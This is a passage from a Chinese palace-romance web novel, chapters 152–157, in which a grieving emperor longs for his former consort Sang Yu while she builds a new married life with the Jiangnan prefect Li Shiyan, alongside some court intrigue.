祁蘅半倚在龙纹凭几上,指尖摩挲着青玉扳指,暗影将他轮廓削得愈发锋利。 更孤冷。 赵德全躬身递上朱漆托盘:“陛下,中秋宫宴的章程已拟好了,您要过目么?” 祁蘅却恍若未闻,一言不发。 赵德全有些谨慎的又问了一遍:“陛下?” 祁蘅的身影这才微微一动。 他望着窗棂外渐沉的暮色,忽然答非所问:“宫里的桂花该开了吧?” 赵德全一愣,随即会意:“是,年初移植过来的,如今已经快开了。” 你最喜欢的桂花都要开了啊。 可你还没回来。 祁蘅闭了闭眼,从一开始的有恃无恐,到如今的麻木卑微,只用了三个多月。 可祁蘅自己都没察觉。 他很担心,桑余身上还有余毒,她心情不好的时候余毒发作,会很疼的。 到时没人照顾她怎么办啊? 祁蘅睁开眼睛,身体像腐朽的木头一样动了动,问:“此次宫宴,各州刺史可都到齐了?” 祁蘅的嗓音沙哑得像砂纸磨过。 “是,除了江南刺史李识衍李大人。” 祁蘅抬眸,眼底深处深深的红,是许久没有休息好的缘故。 “为什么?” 赵德全年纪也大了,笑起来时眼角的皱纹都透出慈祥:“李大人递了折子,说今年想陪新婚妻子一起过中秋。” 祁蘅一动,这才想起半月前从江南送来的那封请婚的奏章,当时他整日都在想桑余,便随意批了。 “是么?”祁蘅也笑了笑:“第一年新婚,是该陪着。那便算了,你帮朕准备一份新婚贺礼送去,替朕祝他们百年好合。” 第152章 膈应人 半个月后。 江南一片水烟朦胧。 李识衍正在和柳青苑商议要事,外头的下属拿着一个锦盒进来了。 “李大人,京城送来的。” 柳青苑眼睛亮了,接过盒子问:“什么好东西?” 打开盒子,是一颗七彩流转的夜明珠。 柳青苑激动的站起来,惊诧不已:“这么大,价值连城啊,咱们这位圣上对你还真是器重!” 李识衍看着那颗珠子,声音没什么波澜,问道:“可还说了什么?” “圣上派人带话,是赠予此珠贺您新婚。” 李识衍挑了挑眉,眼中脩然变冷,望着那颗珠子,眼眸低垂间发出一声冷笑。 “知道了。” 柳青苑不解:“这么个宝贝,你就这般冷淡啊,看都不多看一眼?” 李识衍狭长的眼睛看过去:“你喜欢?” 柳青苑实话实说:“没人会不喜欢,更何况价值连城……” “给你了。” “给我?”柳青苑手一抖,险些摔了锦盒,随即占了便宜一般,连着盒子都收进了袖子里,“还是识衍大气!御赐之物也能随意送人!要不说是京城第一酒楼家的少东家,这些身外之物俗气,配不上你!” “嘿嘿,但是配我正好!” 柳青苑走过去,斜着倚在李识衍的案几上,好事的问:“但是,你看起来可不太对啊?” 李识衍没说话。 祁蘅送来的东西,他是碰都不想碰。 阿星更是。 李识衍生怕阿星不高兴。 这东西拿到桑余面前都是脏她的眼睛。 “不会是……”柳青苑很聪明,几乎是瞬间就察觉到了什么:“不会是,你跟陛下之间,有什么纠葛?你面上恭敬,定不会和他拿到明面上来,那就只有……你从京城带回来的沈家嫡女了。莫不是……” 还能是什么? 柳青苑瞪大了眼睛,惶恐道:“你拐带回来的,不会是皇帝的女人吧?” 李识衍缓缓抬头看向柳青苑。 “你是不是想死?” 柳青苑怔住,他原本只是想逗逗李识衍。 但看到一向温和稳重的李识衍这个眼神,他确认了。 果然是。 这不是开玩笑的。 “李识衍你……” 李识衍的眸色冷若寒霜,无端的渗出几分血色来,一字一句的纠正道:“拐带阿星的,是他,明白么?” 柳青苑被他的眼神灼得发烫,瞬间没了轻佻,站直了身子。 “我也只是……随意一说。” 他讪讪地问:“还真是啊?” 李识衍收回目光,将一封信妥帖的封进信封里。 “是他亲手废了她位份,他们之间,已经再无关系。” 柳青苑僵着。 他不清楚皇帝是个什么人。 难道还能不清楚李识衍是个什么性子么? 能让皇帝把一个女人放走,不能说这女人有什么本事,只能是李识衍有本事。 李识衍本事大,心机重,城府深,柳青苑大抵想能猜到,这其中该是兜了多大一个圈子,费了多少心机。 柳青苑没再问下去。 他看出李识衍在克制什么,看出他对祁蘅送来的东西又多排斥。 想来,桑余这些年在京城一定被那狗皇帝不少折磨。 他瞬间觉得袖子里的珠子都不香了。 柳青苑拿出珠子,作势就要丢出去给兄弟出去。 但珠子跟黏在手上一样,每每抬手要扔,就卡在一半。 柳青苑还是舍不得。 他痛苦万分的哀嚎一声,大喊:“识衍,我是真舍不得!” 李识衍睨他一眼,嗤笑:“我又没逼你扔。” 柳青苑说:“狗皇帝的东西我才不要,欺负了我新嫂嫂,还拿这种脏东西来浊我的眼睛……” 他骂着骂着,突然又败下阵来:“可这真是个好宝贝!” 李识衍被柳青苑这幅模样作弄的也没多少怒气了。 “前几日,伶洲来了一批难民。” 柳青苑即刻明白了,扇子一收,眼中坚毅:“很有道理!” —— 夜里,李识衍很晚才从官府出来。 这几日有些忙。 他回刺史府前,都会去一趟沈府,看自己的夫人。 桑余最近在跟着沈月学刺绣,奈何她从小到大都没什么天赋,教的沈月都要没耐心了。 沈月和他爹一样嘴硬心软,戳了戳桑余的脑袋说:“你这个爪子,跟武夫一样,就不是拿绣花针的手!” 桑余不好意思的笑了笑,低下头。 的确,她以前拿的都是杀人的剑。 沈月无可奈何,正要继续教,回头看见一道月光一般的身影走近,长叹一声:“罢了罢了,女儿家学这些是为了嫁个好郎君,你已经嫁了好郎君,这辈子都用学啦!” 提起李识衍,桑余的手顿了一下,她笑着沉思:“谁能说得准一辈子呢?” “谁能说得准,不会一辈子呢?” 身后传来李识衍的声音,桑余猛地僵住。 她回头,李识衍就站在那里,询问探究的看着自己。 桑余急忙站了起来。 沈月看破不说破,拍了拍桑余的手,意味不明的笑着走了。 桑余看着沈月走了,心里更没底了,好像自己做了什么错事一样,低着头不敢看李识衍的眼睛。 因为李识衍向来很不喜欢她说这样的话。 李识衍看她这幅神情,沉沉的笑了一下,坐了下来。 桑余自小在宫中长大,察言观色,很快就看出今日李识衍不高兴。 “你在生气我刚刚说的那句话么?” 李识衍看她:“既然阿星知道我听了会不高兴,那以后还要不要说了?” 桑余听到这话,心里有些酸胀。 她见惯了人心凉薄,就总是用同样凉薄的心去揣测李识衍的热忱,实在不该。 不管以后如何,他现在对自己的确很好很好。 “好,不说了。” 李识衍觉得桑余真的很乖很乖,他刮了一下桑余的鼻子。 但桑余还是觉得他不开心。 今日的他,像在压抑着隐忍着,消化什么不好的东西,眼眸也冷冷的。 “是不是,还因为今日京城送来的东西?” 李识衍抬起眼,不解:“你怎么知道?” 桑余微微笑了:“二哥在你那当差,今日一回来就给府里的人说,皇帝给刺史大人赏了东西作新婚贺礼。” 李识衍的眉头皱了一下,没想到桑余还是知道了。 他更不高兴了。 “沈良这个家伙,把他的嘴给漏了。” 桑余好奇起来眼睛微亮:“可你瞒着我做什么?” 第153章 李识衍吃醋了 李识衍微怔,袖子下面的手逐渐收紧。 “我……我怕你又看到跟他有关的东西,会想起来他,里会难过。” 不仅是难过这一路走来的苦难,更是怕她……会难过自己曾经的真心。 然后又想起那个人。 一想到那个人又跟一条毒蛇一样会钻进桑余的心里,李识衍就觉得胸闷。 在他无力改变的过去,桑余的的确确,曾把自己的真心交给过那个人。 桑余听出李识衍这话里的意味,但她更知道,不止于此。 如果只是怕自己难过,不会是这样藏着生气。 桑余忽然伸手,轻轻握住李识衍的手。 这是桑余第一次主动牵他的手。 她将他的手拢在掌心,像捧着易碎的瓷器。 “你是……吃醋了?” 李识衍身子蓦地一僵,看向桑余,眼中闪着惊愕。 然后又飞快垂下眼,果断道:“才没有。” 桑余笑了笑,平时他总是纵着她,所以这次她也不会追着拆穿他。 李识衍声音透出黯然:“我只是怕你的伤疤会疼。” “伤疤这种东西着,只有自己在意的时候才会疼。“桑余的声音很轻,认真的告诉他,“我早就不想他了,我们之间,所有的情分都是一场阴谋罢了,没什么值得我一直忘不掉的。” 李识衍抬头,这是他第一次听桑余主动说起他。 月光透过窗棂,在她睫毛上投下细碎的阴影,那些他以为会永远横亘在两人之间的伤痛,此刻竟被她如此平静地道出。 “出宫前,我们二人已经把什么都说明了,他从不是什么念念不忘的人,狠起来,连陆晚宁都算计。” 陆晚宁可是他年少一见钟情的女子。 还给他怀了孩子。 李识衍却不觉得,他可是听闻,某个人在三个月前大病了一场。 他装作满不在乎,手却还紧紧的攥着桑余的手,好不容易牵手,他才不要轻易放开。 “你这样好,他忘不掉也正常。” “他不会忘不掉任何人的,他那个人一向最在乎自己。” “倒是你,”桑余忽然笑了,指尖抚过他紧蹙的眉头,“柳青苑说得对,你这人看着温润,实则心眼比针尖还小。” 江南的刺史大人,从来都是运筹帷幄,不容旁人窥视猜测半分。 可却在桑余面前,他心里的一切想法都好像无所遁形。 不管是生气,还是……吃醋。 他的确是在吃醋。 本来他们二人的日子过得好好的,那个人就安安分分地做他的皇帝,各不相干。 偏偏还要送什么新婚贺礼来彰显他的存在感。 李识衍的确有些失控,他甚至都忘了祁蘅其实并不知道自己的新婚妻子就是桑余。 人家怎么可能专门送个东西过来膈应自己? 被她逗得无奈,李识衍反手扣住她的手腕,贴在了心口:“我心眼就是小。” 他声音沙哑,“小到十二年来只装得下一个沈星。” 桑余的面色一凝,目光缓缓落在自己放在他胸口的手上,温润的指节轻而易举将她整个掌心覆住。 她透过衣料,透过薄肌,清晰地感觉到一颗心在自己的掌心里跳越快。 原本只是想安抚他,才牵他的手,却没想到李识衍反过来锢住了她。 “李识衍,可以放开了。” 李识衍薄唇浅浅的漫着浅笑,总算是在二人之间找回了些主导性。 “阿星,我很开心,你愿意亲近我了。” “愿意同我说过去。” “愿意在我面前笑得开心。” “尽管,我知道,你只是想哄我,并不是对我动心了。” 桑余的笑容僵了僵,没想到李识衍会看出来。 “也并不是全为了哄你,不管将来如何,你现在的确待我很好,我也应该待你好。” “这句话,也是为了哄我吧?” 桑余怔忡,李识衍说这话时,虽是在温润的笑,可眼底还是透出患得患失的黯然。 “我……” “否则,你也不会一直将那封放妻书收着。” 桑余哑然,不知该怎么解释。 那,是她的退路。 “别怕,我明白的,阿星受了那么多苦,怎么可能轻易就爱上我,说明我做的还是不够好。不过日子还很长很长,哪怕等到了我们二人都一头白发的时候你才终于诚心接纳我,我也心甘情愿。” 李识衍不会说情话,他说的都是真话。 所以每次这些话说出口,都会震的桑余心神晃动。 看见桑余的脸红了,李识衍才得逞似的松开她的手。 他目光所及,忽然拿起桌子上桑余绣了一半的绣框,看了半天,然后认真的问:“沈月教你绣两只鸡做什么?” 桑余一怔,解释:“这是鸳鸯!” 李识衍哑然。 桑余也有些尴尬,低头看着自己绣的“鸳鸯”,暗自下决心一定要好好学。 李识衍皱起眉笑着感叹:“阿星的绣工果然还是和幼时一模一样。” 桑余:…… 李识衍突然想到了什么,问:“若是鸳鸯,那这……是你为我绣的?” 桑余没有遮拦,实话实说:“沈月说,我应该给你绣,所以我就学了。但是不好看,还是算了。” 李识衍挑了挑眉,将绣帕取下来,小心翼翼地折好收进袖中。 “果然是沈月教的,否则你怎么也不会想到给我绣鸳鸯。” 李识衍顿了顿,说:“但我很喜欢。” 桑余抿唇:“你刚才还说这是鸡。” “我就喜欢鸡。”李识衍说得理直气壮,“明日就在刺史府里养一窝,长得漂亮的留下,不漂亮的就全送摘星楼里做成葫芦鸡。” 桑余被他这话逗得笑了出来,眼角眉梢都染上鲜活的神采。 李识衍望着她的笑颜,忽然轻声问道:“你给他绣过东西么?” 笑声戛然而止。 桑余摇摇头。 从前宫里水深火热,哪有时间搞这些风花雪月的事。 李识衍挑眉,不知为何,神色染上几分愉悦,眼角那颗朱砂痣在烛光下格外明艳。 总算有什么,是他有,祁蘅没有的了。 第154章 都去死吧 中秋到了。 苏州城的中秋灯会,向来是江南最负盛名的盛事。 十里长街,灯火如昼。 朱红色的灯笼从城门一路挂到运河畔,街市上人流如织,衣香鬓影。 运河上画舫穿梭,丝竹声声。 李识衍与柳青苑从府衙出来往回走,街上已经是接踵摩肩。 柳青苑今日穿了一身靛青色长衫,从头发丝到脚后跟都是精心打扮过,活像只绿孔雀。 他孤家寡人,往年灯会,都是随手在街上勾个貌美姑娘一起逛。 有时候是两个。 “识衍,你看那边!” 柳青苑突然拽住李识衍的袖子,声音里带着掩不住的兴奋,“那边有位小姐,是苏州城的么?我竟从未见过!” 李识衍原本无意,硬是被他拉着看过去。 只见不远处一盏朱漆鲤鱼灯下,立着位身着月白罗裙的女子。 灯火映照下,她微微仰首望着灯上绘制的鱼戏莲叶图,纤长的睫毛在眼下投下一片浅淡的阴影。 虽是一副病容,却自有一段清冷风骨,不显半分孱弱之态。 “识衍,我就不陪你回沈府了,今夜灯会有人陪我了!” 说着就要上前。 他刚迈出一步,袖子就被李识衍猛地拽住,力道大得差点让他一个趔趄。 “干什么?” 柳青苑颇为无语的皱起眉,正要抱怨,却见李识衍阴沉如水的盯着她。 “你有几个胆子,让她陪你逛灯会?” 李识衍声音压得极低,寒意砭骨。 柳青苑反应速度出奇的快,惊得下巴都要掉下来:“这、这就是你那位夫人?” 他再次望向桑余,恍然大悟,若有所思砸吧了两下嘴:“难怪你念念不忘,这瞧着,就该是咱们江南的姑娘。” 李识衍没再搭理他,径直穿过人群向桑余走去。 他的步伐比平时快了许多,衣袂翻飞间带起一阵微风。 人来人往,他心中只有她。 也只想向她而去。 桑余正听沈月给她讲前几日李员外家公子私通外室被正妻追着打的事,忽然感觉周围人群安静了一瞬。 她回头,正对上李识衍深邃的目光。 他微微喘息,努力平稳气息:“不是让你在沈府等我去接你么?” 沈月的话戛然而止,她挑眉看着李识衍,眼中带着促狭的笑意:“我先让阿星陪我出来逛逛,不行啊?还真是看管的严。” 李识衍转向沈月,面上恢复了惯常的温和:“那你现在可以去找柳青苑了,他很有空。” 说完,他目光又重新落回桑余身上,“阿余还要与我一起。” 沈月撇撇嘴,嘴里嘟囔了一句什么,回头看见远处兴冲冲对她招手的绿孔雀,毫无兴趣,转头往反方向走了。 李识衍自然而然地牵起桑余的手。 他的掌心温热干燥,将她的手指完全包裹。 “冷不冷?”李识衍低声问,“入了秋,会有些凉。” 桑余看着两人交握的手,轻声道:“不冷,很热闹。” 她这是第一次见这么多人,比宿州还要热闹。 桑余如今走在人群中已经没了当初的局促和惶恐,她觉得自己就是这万千凡尘中的一个。 最普通的一个。 和所有的女子一样。 从来没有这么幸福过。 有家人,有好友,有笑意。 这就是她向往的。 从前回头,是漫长孤苦的皇城,一眼望不到头,就像一张巨兽的嘴,等着吞噬她。 现在回头,看到的,永远都是李识衍。 她的夫君。 李识衍。 —— 今年宫中的中秋宴,比往年要热闹的多。 各州刺史、官员都来了。 而且宫里又多了不少妃嫔。 到处都是喜笑颜开的声音。 陆晚宁坐在祁蘅的身侧,犹记去年中秋时节,他还对自己深情似海,满心满眼都是自己。 如今,却是连看都不看自己一眼。 晚些时候,手下人来报,祁蘅还没放弃找回桑余。 甚至已经将人派去了其余各州寻查。 既然这么忘不掉,当初为什么又放她走? 陆晚宁心底郁结,面上却端的是端庄大方,做也要做出母仪天下的典范来。 祁蘅看着底下的朝臣言笑谈谈,另一处亭子里的妃子欢歌阵阵。 桑余,你如今过得怎么样? 外面世道艰险,你一个孤女,武功尽失,该过得多艰难。 可是既然艰难,为什么还不回来? 你是不是信了我当初说的话,以为我不要你了? 可我怎么可能真的不要你? 我们之间闹过那么多次,吵过那么多次。 可从来没有一次,你会同我闹这么久。 从初夏,到秋末。 祁蘅想起,这么多年,他都没有与桑余分离这么久。 她难道不知自己心底,到底将谁放在最重要的地方么? 那日,就真的这般恨透了自己么? 祁蘅不敢去想,不敢去想……当初桑余是攒够了多少的委屈离开。 正如他此刻坐在这里,不知道将来该怎么做才好。 宫宴才进行了一半,祁蘅突然就离开了。 所有人一时间都面面相觑。 陆晚宁强撑着笑,举起酒杯对众人道:“诸位大人不必拘礼,陛下近日政务繁忙,有些乏了。今日中秋佳节,大家且好好喝,尽兴而归。” 她眼角余光瞥见冯崇阴鸷的眼神,心头一颤。 待众人重新热闹起来,她借口更衣离席,跟着冯崇的贴身小厮来到御花园一处僻静的假山后。 “义父。” 陆晚宁福了福身,声音里带着几分颤抖。 冯崇负手而立,月光将他的影子拉得老长,像一条吐信的毒蛇。 听见声音,他猛地转身,眼中寒光乍现:“半年了!为何还没有身孕?” 陆晚宁攥紧了袖中的帕子,指节发白:“义父明鉴,是陛下这半年来……从未翻过牌子。”她声音越来越低,“晚宁实在……实在没有办法。” “废物!”冯崇压低声音怒喝,“没有龙种,你拿什么坐稳后位?拿什么救你那对罪臣父母?” 他一把掐住陆晚宁的下巴,迫使她抬头,“别忘了,你爹娘还在北寒等着你救命!” 陆晚宁眼中泪光闪烁,死死咬着牙:“晚宁明白,晚宁会想办法。” 冯崇冷笑,“我瞧着,今年进宫的有些许个不安分的,若让新人先诞下皇子……” 他松开手,嫌恶地看着她:“你那些眼泪,留着给你爹娘哭丧去吧!” 陆晚宁死死攥着掌心,眼中冷意阵阵,透出阴毒:“义父放心,晚宁不会让她们生下皇子的。” “不安分?那就都去死吧。” 第155章 她是不是不爱了 祁蘅一个人回了乾清宫,不许任何人跟着。 说是回乾清宫理政,但走着走着,不知怎么就到了紫宸殿。 桑余是妃嫔的那一年多里,住的最多的就是紫宸殿。 这里也成了晦暗皇宫里,残存她气息最多的地方。 可是如今也没剩下多少了。 殿外,是热闹宴歌,殿里,是祁蘅孤零零一个人蜷缩在桑余的床榻间,将脸埋进枕头里。 一切的喧嚣热闹都与他隔了开来。 祁蘅害怕,害怕有一天桑余的一切都消失在宫里。 好像她只是上天用来哄骗他的一个梦。 祁蘅曾经引以为耻的过去,却成了他现在唯一可以缓解疼痛的药。 母妃去世的早,很多事情没有人教过他,譬如什么是在意,什么是珍惜。 天下难道不是天子为大?天子的身边,难道不是所有女子都向往的么? 以至于祁蘅开始对一些事情产生了质疑,譬如这天下是否是皇权最大,他的身边是否真的一文不值,桑余是不是真的不爱他了…… 但没有人告诉他答案。 身边的人都是虚假的。 他们更多的人,是虎视眈眈,满腹算计。 但是他察觉质疑的有些晚了。 他迟钝,麻木,这些东西源于他骨子里的多疑和傲慢,所以当初才会觉得桑余终归是只配站在他身后。 以至于他现在才终于明白,自己千不该万不该将这份多疑和傲慢加注到桑余的身上。 她是唯一真心对自己的人。 他笨拙的理解着,从不解到怀疑,再到自己终于琢磨出一些不对来,只是过程折磨得他鲜血淋漓,每确认一分,心里就疼一分,确定桑余不会回来的绝望就更重一份。 滔天的绝望。 曾经夺皇位时,他还能看见希望,可如今……连一点希冀都看不见。 祁蘅就这样变成了一个人,连求救倾诉的对象都找不到。 他原以为忘掉很简单。 他以为,那么多嫔妃,终究有一个是他能再次喜欢的。 但从没人告诉他,记忆这个东西,竟然会随着时间的延长,而变得更深刻。 桑余。 我这样忘不掉,你也忘不掉是不是? 因为我们是同样的记忆。 你也一定忘不掉。 祁蘅缓缓睁眼,一双眼眸如死水一般望着黑夜,周遭的一切都仿佛与他无关。 直至,他好像看见眼前微微亮起,似有光亮照进来,一道熟悉的身影踏光而来,穿着杏黄色的襦裙,露出一张洁白美好的面容,未施粉黛,冲着自己笑。 “阿余,你回来了?” 此时,月尖儿像是凝了一层霜花,桂花簌簌飘动,落了下来。 —— 南元,三十八年。 皇城乾清宫檐角的冰棱化了三次,桂花也谢了三次。 宫中,没有地方再传出桂花糕的香气。 春去秋来,数年光阴已悄然而过。 年初,沈齐生了场大病,沈月和沈良要在榻前照料,一时之间,布庄和成衣铺的生意暂时交到了桑余的手上。 桑余先前不是不会做生意,只是不愿,但如今不得已还是接了下来。 她字认得不多,可从前在宫中替祁蘅查国库烂账,这点本事还是有的,倒也不算难。 况且还有柳凤凤帮忙。 柳凤凤是柳青苑的胞妹,在城里开个书铺,一点就炸的火爆脾气,却和桑余一见如故,成了好朋友。 桑余回到沈府时已经入夜,月光如水般倾泻在青石板上。 丫鬟说母亲已经睡下了,桑余点了点头,就近坐在凉亭的石凳上,轻轻捶着腿。 跑了一日的账,腿疼。 “怎么坐在这里?” 身后突然传来熟悉的声音。 桑余还未回头,整个人就被一双有力的手臂打横抱起。 李识衍身上还带着风尘仆仆的气息,白色官服都未来得及换下。 桑余勾着他的脖颈,仰头看他,不禁意外:“你什么时候从京城回来的?” “傍晚。”李识衍抱着她穿过回廊,“直接就来寻你了,但听闻你在忙,便只在府里等你。” 桑余浅笑了笑,安静的任他抱着。 他衣服上有一阵香气,是桑余很喜欢的墨香混着檀香的味道,这个陪她度过了许多次噩梦的味道,让她觉得安心。 李识衍抱她进屋,将桑余轻轻放在床榻上,转身吩咐丫鬟:“去替小姐把药端来。” 桑余闻言,不禁皱了皱鼻子:“今天还要喝么?” 那药苦得厉害,每次喝完都要含好几颗蜜饯才能压下去。 李识衍坐在床边,手指轻轻梳理她散落的发丝:“你体内的余毒差不多了,一定要清干净。” 他顿了顿,声音放柔,又哄着她:“听话。” 丫鬟端来药碗,黑褐色的药汁散发着苦涩的气息。 桑余乖乖的接过碗,深吸一口气,仰头一饮而尽。 药汁滑过喉咙,苦得她眉头紧锁。 李识衍适时递上一颗蜜饯,指尖不经意擦过她的唇瓣。 桑余含住蜜饯,甜味渐渐冲淡了苦涩。 桑余低着头,小声嚅嗫抱怨道:“你一回来就喂我喝药。” 刚成亲时,他喂她喝药,桑余觉得苦也不说,默默地忍着。 但桑余如今已经被李识衍无底线的宽容宠惯了,苦就是苦,难过就是难过,不再藏着了。 这三年来,为了调理好桑余的身子,李识衍花了不少心思。 医书他如今还在看,不仅是为了帮桑余清理余毒,他还想去掉桑余身体上的疤痕,那是她一直放不下的芥蒂。 如果有可能的话,他还想……让桑余恢复武功。 “京城的事办完了?”桑余问。 李识衍点头,从袖中取出一个锦盒:“给你带了礼物。” 桑余打开盒子,里面是一对白玉耳坠,在烛光下隐隐透光。 她轻声赞叹:“真好看。” 李识衍取出一只,小心翼翼地为她戴上。 冰凉的玉石贴上耳垂,他温热的指尖轻轻摩挲,惹得桑余耳尖发烫。 桑余最近在慎重考虑柳凤凤说过的话。 她说:“你可不能让李识衍一直这样等下去。” 李识衍找了她十一年,成亲后又等了她三年,每日克己复礼,只是对她好,照顾她,从不越距。 桑余没什么理由不相信,李识衍是真心的。 原来这世上一心一意爱着对方的傻子,不止桑余一个。 桑余也想回馈给李识衍一些什么。 比如…… 一场婚礼。 第156章 祁蘅变了 桑余忽然环住了李识衍的腰。 她的指尖微微发抖,沉默不言的将脸埋在他胸前,能听见李识衍骤然加速的心跳声。 这是她第一次主动与他这么亲近。 李识衍整个人僵在原地,眼中闪过无措。 他小心翼翼地抚上她的发丝,声音里带着明显的慌乱:“阿余,是不是遇到什么麻烦了?还是有人欺负你了?” 桑余摇摇头,眼眶湿热。 她深吸一口气,松开了李识衍,从他怀中起身。 走到梳妆台前,桑余从最底层的抽屉里取出一个上了锁的木盒。 李识衍的目光在看清木盒的瞬间凝固。 那是三年前成亲时,他亲手交给她的退婚书——若有一日她后悔了,随时可以解除婚事。 “阿星……”他的声音发颤,素来沉稳的眸子里第一次浮现出彷徨和无措,“是不是我做错了什么?” “你告诉我,我都可以改的……” 桑余用钥匙打开木盒,取出那几张薄薄的纸。 李识衍的心都快疼的扭曲了。 光是站在那里都觉得支撑不住了。 桑余拿着那几张纸,草草看了一眼,若有所思的笑了笑。 烛火在她眼中跳动,映出一片决然。 她将退婚书伸向烛台,火舌瞬间舔上纸角。 纸张在两人之间燃烧,化作片片灰蝶,飘落在青砖地上。 “我把后路断了。”桑余轻声说,抬眸对上李识衍的目光,“李识衍,你明白了么?” 李识衍的瞳孔剧烈收缩,整个人像是被定住一般。 片刻后,他几步上前,将桑余紧紧的搂入怀中,颤抖得厉害,仿佛抱着易碎的珍宝。 他明白。 他怎么会不明白? 他的阿星,终于真心实意的接纳了他。 他不用等到白首的那一日了。 “阿星……”李识衍的声音哽咽,温热的泪水落在桑余颈间,声音发闷:“以后,我就是你的退路。” 桑余感受到了他剧烈的心跳,抬手抚上他的后背。 这个总是从容不迫的人,此刻却像个孩子般在她肩头,沉默无言的啜泣着。 仿佛经受了惊天动地,憾人心扉的事情。 被李识衍这样深爱着,连灵魂都会跟着发烫。 窗外,一轮满月高悬。 花香透过窗纱漫进来,与烛烟纠缠在一起。 —— 几位大臣从御书房里退了出来,一一离开。 赵德全年纪大了,如今多伺候在祁蘅身边的,是他的干儿子,小太监春连。 春连刚到御前伺候时,干爹时常提醒他:“咱们这位陛下喜怒无常,你可得小心。有些时候啊,他动了盛怒,你就闭上嘴听着就行,他总之是不会要了你的命。” 春连把这些话牢记于心。 但伺候了大半年,似乎和干爹说的又不太一样。 祁蘅从三年前,就变了很多。 俊美嚣张的少年帝王,不知怎么回事,身上那股张狂的气息早就逐渐萧索。于人于事也都是各留一线,不会轻易动怒,心态就像入了秋,常常就是听着眼前不怀好意的谏臣说,带着平和的笑,等他们说完,再把他们拖下去杀了。 不像二十五岁。 像四十五岁。 三年时间好像老了很多。 面容变得更加骨削锋利,却连笑都很费劲。 季远安如今已经不是禁军统领,而是上阵杀敌的镇远大将军,去年在边疆打了一场硬仗,受了重伤,险些没保住命,祁蘅将人便留在了京城养伤。 他时常到宫中来陪祁蘅喝酒。 是祁蘅主动要求的。 因为身边曾见证过他和桑余过去点滴的,只有季远安了。 季远安今日又来了。 推开门,殿里没掌灯,空无一人昏暗一片,只有扑面而来的浓浊酒气,跟在酒罐子里泡了一遭一样。 季远安还觉得古怪,这人叫他来,怎么自己不在。 刚走一步,就被什么东西挡了一下,踉跄的往前摔了一步。 季远安不耐烦地低头看去。 下一刻,神色便微微凝滞。 只见祁蘅靠坐在门边,衣袍松散地披在身上,手里攥着半壶酒,已经醉得眼神涣散。 月光从窗棂间漏进来,照在他苍白的脸上,显得格外萧索。 “啧。” 季远安叹了口气,无声的叹了口气,就势坐在祁蘅旁边。 然后一把夺过他手中的酒壶,对着壶嘴灌了一口。 辛辣的酒液滑过喉咙,烧得他皱了皱眉。 “你好歹是皇帝,能不能喝点好酒?这么烈,不怕把自己喝坏?” 祁蘅没说话,只是摇了摇头。 两人就这样沉默地坐着,谁都再没有开口。 殿外传来更鼓声,三更天了。 季远安知道祁蘅在痛苦什么。 桑余走了以后,他整个人就像被抽走了魂魄。 “当初是你自己把人放走的,高烧昏迷喊着她的名字,既然都放走了,为什么又要折磨自己?” 祁蘅说:“我以为,她会回来。” 季远安听后嗤笑了一声,他遥遥的望着月光,若有所思:“她怎么可能回来呢?当初我对她还恨着的时候,让她跪在我面前,你经过,却替她撑腰都不敢,我一个人男人看着,都想对你死心了。” 过去的种种,像是腐朽的疮痕,长在所有人的心上。 “……是,是啊……当初为什么要对她那样不好呢?” 祁蘅的声音沙哑得不成样子,问着自己。 “有时候人活在当下,看不清自己的心,不知道自己的情意,只想和对方争出个输赢,看着对方服软。可你忘了,阿余姐姐从来不是会与你相争的人,是你自己,逼走她的。” 是祁蘅,一步步铸就的如今结局。 季远安觉得他怨不得任何人。 其实,季远安和祁蘅两个人都变了很多。 他们都长大了,已经学会了如何粉饰太平,如何避重就轻,学会了对很多事避之不谈。 但这一刻,季远安像是想替桑余报复一下祁蘅一般,恶意的说出了祁蘅所有的不堪。 祁蘅没生气。 他突然笑了,笑声在空荡的大殿里回荡,凄厉得像是受伤的野兽。 他一把抢过酒壶,仰头将剩下的酒一饮而尽,酒液顺着下巴滑落,染湿了胸前的衣襟。 “你说的没错,因为我!因为朕!都是因为朕……可是,她不能一次机会都不给我吧?不能藏起来不让我找到吧?朕让人找遍了各州连她的……她的尸首都找不见,她就这么决绝?” “陛下……”季远安看着他,目光肃穆,“你放手吧。” 祁蘅没有回答,只是将空酒壶狠狠砸向墙壁,瓷器碎裂的声音在殿内炸开。 他蜷缩起身子,将脸埋进膝盖里,肩膀微微颤抖。 月光静静地洒在两人身上,将影子拉得很长很长。 祁蘅想: 不会放手的。 除非他死。 第157章 祁蘅要去江南 季远安眉头一皱,不惯着他,一把将祁蘅扯起来:“别哭了!堂堂天子整日哭哭啼啼像什么话!我可不是桑余,会给你擦眼泪!” 祁蘅被拽得踉跄了一下,怔了怔,果然没哭了。 他抹了抹眼睛,浑噩的坐直了身子。 月光下,祁蘅的眼眶通红,额前的碎发将眼睛遮住,颓然靡靡败哪里还有半点帝王威严。 “喝酒吧。”他哑着嗓子说,伸手去够另一壶酒。 季远安挡开他的手:“够了。喝死了,今日我还能出得了这个门?不得说?我!弑!君!?” 祁蘅有气无力的嗤笑一声,回头看他:“你现在对朕说的这些话,你的态度,换做别人当皇帝,你都不知道死了多少次了。” “你以前不也是这样?整日端着皇帝的架子,搞得好像我少时没见过你躲起来哭一样。” 祁蘅眼中都是淡淡的不屑,有种浮华过后,淡淡的颓然。 “是啊,我以前到底在装什么?” “以为自己坐上皇位,真就不是从前的自己,将自己和桑余区分开来……我什么样子她没见过?” 说着,祁蘅漫不经心的笑了出来,胸膛晃动。 季远安白了他一眼,头靠在墙上,问:“我听我爹说,你过几日要南下?” 祁蘅混沌地点了点头:“我隔几年就要去一次各州巡访。” “你不是一直让张岩代你去? “但江南我要自己去。” “什么事这么重要?” 祁蘅缓缓坐直了身子,眼中的醉意褪去几分,取而代之的是一种令人胆寒的冷静:“你可知李识衍?” 季远安想了想,他对文官都不太熟,但这个李识衍他听过,具体想不起来了。 祁蘅提醒:“江南刺史。” 季远安记起来了,是一个玉面温和的白净书生,含蓄沉默。 当时他还觉得,这人看着一点都不像是能扺掌一州的刺史。 谁知道说出的话却都让整个大殿的人悄然无声。 祁蘅说:“朕查到李识衍是谁的儿子了。” 季远安一怔:“什么意思?” “或许,朕也找到如何名正言顺除了冯崇的方式。” 祁蘅的声音很轻,却让季远安后背一凉。 他沉默。 祁蘅登基前,先帝自知气数将尽,对朝堂之事连着多年睁一只眼闭一只眼,对各地官员鱼肉百姓之事也视而不见,以至于南元朝的内里腐败至极,国库空虚,赋税重压,科考舞弊,贪官横行,官盐官铁官矿全都掌握在权臣手中,百姓民不聊生…… 